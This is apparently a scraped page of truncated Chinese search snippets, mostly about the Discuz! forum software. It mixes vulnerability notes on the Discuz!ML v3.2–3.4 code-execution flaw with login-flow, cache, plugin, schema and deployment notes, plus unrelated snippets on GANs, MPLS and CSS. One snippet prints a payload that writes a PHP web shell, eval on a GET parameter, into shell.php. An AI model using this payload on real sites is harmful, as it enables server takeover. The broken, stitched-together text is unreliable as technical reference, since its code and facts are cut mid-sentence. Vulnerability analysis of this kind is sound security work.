概述 Discuz!ML 是一个由 CodersClub.org 创建的多语言,集成,功能齐全的开源网络平台,用于构建像 “社交网络” 这样的互联网社区。该引擎基于 Comsenz Inc. 创建的着名的 Discuz!X 引擎开发。 但是,这与常见的 Discuz 论坛还是没多大关系。 影响版本 Discuz! ML v.3.4 Discuz! ML v.3.3 Discuz! 其他地方都是包含,这里有个缓存文件,先不管,继续跟,发现开始加载 forum_index.php form_index.php 的 433 行开始加载模板 include template('diy:forum/discuz $gid); 之前的那个可控点在这里出现了 紧接着被传入了这个函数之中 checktplrefresh($tplfile, $tplfile, @filemtime(DISCUZ_ROOT . default', 'common/header_forum_index') ;" 可看到具体的位置 简化一下就是 checktplrefresh('1', '2', 1564153002, '', '3'
discuz X3登录流程分析 公司最近要将discuz论坛升级至最新版discuz X3。但是公司要用自己的通行证同步登陆。故必须要知道discuzX3的登录流程及原理,才能进行二次开发。 一、涉及到的文件 discuzX3/source/template/default/member/login.htm discuzX3/member.php discuzX3/source/module 大约33行: if($isuid == 3) { if(! 1 : 0; return array($status, $user['username'], $password, $user['email'], $merge); } 附:discuz X3用户登录uc_user_login()函数详解
$_G 保存了 Discuz! 中所有的预处理数据 缓存能够很好的提高程序的性能,一些配置数据没必要每次都查询数据库,只要在修改了的时候更新下缓存即可。 Discuz! 系统缓存 $_G[cache][plugin] 插件缓存 判断用户是否登录,可以判断登录标记 $_G['uid'] 为非 0 判断用户管理权限,将管理权限标记 $_G['adminid'] 为 1~3 0 代表普通用户;1 代表论坛管理员;2 代表超级版主;3 代表论坛版主。
3. 缓存+单个数据库实例+读写分离时代背景:数据量继续增大,数据库的写入和读取压力进一步增加。技术特点:实现数据库的读写分离,主数据库处理写操作,从数据库处理读操作,通过主从复制保持数据一致性。
此文为回忆篇 受影响的版本: Discuz! ML v.3.4 Discuz! ML v.3.3 Discuz! ML v.3.2 01: 2019年7月11日, Discuz! 本次漏洞是由于Discuz! +file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22a1%22%5d)%3b%3f%3e')).
0x00 受影响的版本 Discuz! ML v.3.4 Discuz! ML v.3.3 Discuz! ML v.3.2 0x01 漏洞描述 2019年7月11日, Discuz! 本次漏洞是由于Discuz! $templateid.'_'.str_replace('/', '_', $file).'.tpl.php'; 删除可控变量 原理以及代码分析请看推荐阅读的两篇图文 推荐阅读: Discuz ML! V3.X 远程代码执行漏洞深度分析 漏洞分析 | Discuz ML! V3.X 代码注入漏洞
Internet的起源 起源于美国军方的ARPANET Advanced Research Projects Agency Network 1980年,ARPANET上应用了TCP/
漏洞类型:代码执行漏洞 影响系统及版本:Discuz!ML V3.2-3.4 漏洞原因:Discuz! DISCUZ_ROOT为定义网站根目录的常量,realpath函数为返回绝对路径函数,到此处第一个报错就已经分析完毕,原因是系统因为找不到一个php文件而报的错。 可以看到,将$lng的值给了DISCUZ_LANG,追踪$lng在何处定义,全局搜索$lng,找到了定义$lng的地方(图中第一个箭头) ? 以上可以分析出,从获取language到DISCUZ_LANG拿到值的过程中,并没有对其进行过滤。 那么现在必须确定报错问题是怎么出现的了,看下图: ? /data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID')?STYLEID.'_':'_').
3、备份完成之后我们可以看到如下图。 8、恢复数据前请在 Discuz! 安装文件目录下utility文件夹内找到 restore.php 文件,然后将 restore.php 文件上传到程序文件夹data目录下。
discuz 主题表pre_forum_thread 注解 tid mediumint(8) unsigned NOT NULL auto_increment COMMENT '主题id', fid mediumint COMMENT '主题分类id', sortid smallint(6) unsigned NOT NULL default '0' COMMENT '分类信息id', readperm tinyint(3) 0' COMMENT '主题收藏次数', sharetimes mediumint(8) NOT NULL default '0' COMMENT '主题分享次数', `stamp` tinyint(3) NOT NULL default '-1' COMMENT '主题图章', `icon` tinyint(3) NOT NULL default '-1' COMMENT '主题图标', pushedaid COMMENT '主题封面 负数:远程 正数:本地 0:无封面', replycredit smallint(6) NOT NULL default '0' COMMENT '回帖奖励积分主题记录积分值', discuz
一、Discuz介绍 Discuz是国内比较知名的开源论坛了,后来被腾讯收购,Discuz在设计时就考虑了生态体系的建设,支持插件设计,可以让广大开发者朋友来一起建设生态,不得不说设计者是很有商业头脑的 3、插件的加载顺序 因为插件之间可能有加载先后顺序,或者说一个插件依赖另一个插件,就需要设置插件的加载顺序了,这个应该算是用的比较少的场景。 4、插件的自我描述 提供插件名称等信息来描述自己。 三、Discuz插件机制实现分析 Discuz插件都是放在 upload/source/plugin目录下,我们一个个来分析实现机制。 以下是其中一个插件的代码目录截图: ? [CDATA[Discuz! 3、接口注入及页面访问 https://www.xxx.com/plugin.php?
修改 function_core.php 文件 vim discuz_x3.2/upload/source/function/function_core.php 代码如下,添加红色字体 function ($timestamp % $tplrefresh))) { if(1 || empty($timecompare) || @filemtime(DISCUZ_ROOT. $subtpl) > $timecompare) { require_once DISCUZ_ROOT.’
本文大约 5000 字,阅读大约需要 10 分钟 这是 GAN 学习系列的第二篇文章,这篇文章将开始介绍 GAN 的起源之作,鼻祖,也就是 Ian Goodfellow 在 2014 年发表在 ICLR
参考资料: 深度理解计算机系统(P2,3)
MPLS起源 MPLS的创始人“label大师”充分吸取了ATM的精华,但也同时认识到IP为江湖第一大帮派,无法取而代之。
【Hello CSS】序章-起源 首发:https://juejin.im/user/576b433bd342d30057aaa1e9/posts 作者:陈大鱼头 github: https://github.com 在1996 年 12 月, W3C在经过多方的讨论之后,推出了 CSS1.0。 CSS的各个版本 CSS各版本的更新 CSS1.0在1997 年 由 W3C发布,第一版主要规定了选择器、样式属性、伪类 / 对象几个大的部分; CSS2.0/2.1在1998 年 由 W3C发布,CSS2 最终BOSS IE3以(有点可怕的) CSS支持着称。为了竞争, Netscape4也考虑了 CSS。 the-languages-which-almost-were-css/) CSS3(MDN)(https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS3
定义文件: \source\class\class_core.php 定义: define('DISCUZ_ROOT', substr(dirname(__FILE__), 0, -12)); 说明: 将DISCUZ_ROOT定义为class_core.php当前目录(字符)减去12个字符(即:source\class) 例如: D:\www\source\class\class_core.php dirname (__FILE__)结果为:D:\www\source\class substr(dirname(__FILE__), 0, -12)结果为:D:\www\ 这样在调用程序discuz内部程序时,只需要知道相对目录就行了 , 例如: require DISCUZ_ROOT.'.
| +--------------------+ | information_schema | | mysql | | ucenter | +--------------------+ 3 http://www.discuz.net Discuz! 论坛,百万站长的选择,定会给您带来非凡的论坛体验。Discuz! 7.0.0 的推出使Discuz! 的用户体验又上升到了一个新的高度。 本教程讲解的即是如何全新安装Discuz! 7.0.0 FULL(集成了UCenter 安装的版本)。 SupeSite 社区门户,实现CMS 的功能,拥有强大的模型功能,对Discuz! 和UCenter Home 的完美聚合,是您将社区中所有信息进行整合展示的最佳平台。 /ucenter Discuz_X3.2_SC_UTF8.zip # 解压缩到./ucenter [root@docker-04 opt]# cd .
环境准备: ip 服务 192.168.2.10(server1) docker、k8s 192.168.2.20(server2) docker、k8s 192.168.2.30(server3) docker : Pulling fs layer b1096698ab2a: Pulling fs layer 96de990b7ad3: Pulling fs layer c280bfe25221: Pulling Pull complete 17ba4fac2074: Pull complete b16f52630a15: Pull complete e8c7df728273: Pull complete 3b3bc6c69299 spec: selector: matchLabels: app: discuz tier: mysql strategy: type: Recreate spec: replicas: 1 selector: matchLabels: app: discuz tier: nginx-php template:
例如我这里添加的“香芋网” 3、复制生成的配置代码,贴到constants.php中(CodeIgniter),或者使用前引入一个配置,在该配置中贴这些配置代码。 然后,就是使用了:参考developguide.zip 在代码中,include discuz目录的uc_client/client.php,例如include_once APPPATH . '.. } elseif ($uid == -2) { echo '包含要允许注册的词语'; } elseif ($uid == -3) 如下图,我就是只安装了discuz,然后自定义添加一个应用~~ 由于我设置了两个应用都同步登录,所以会返回: <script type="text/javascript" src="http://localhost 2Fdtiwdo0HPc7bgFw%2Fqpp9q5j%2FJz6xhBPzA2J7LWsGtDqC82xgNx<em>3</em>YlnLihpy4T9Sj5r21NGlFA%2FkHfCumZp" reload="1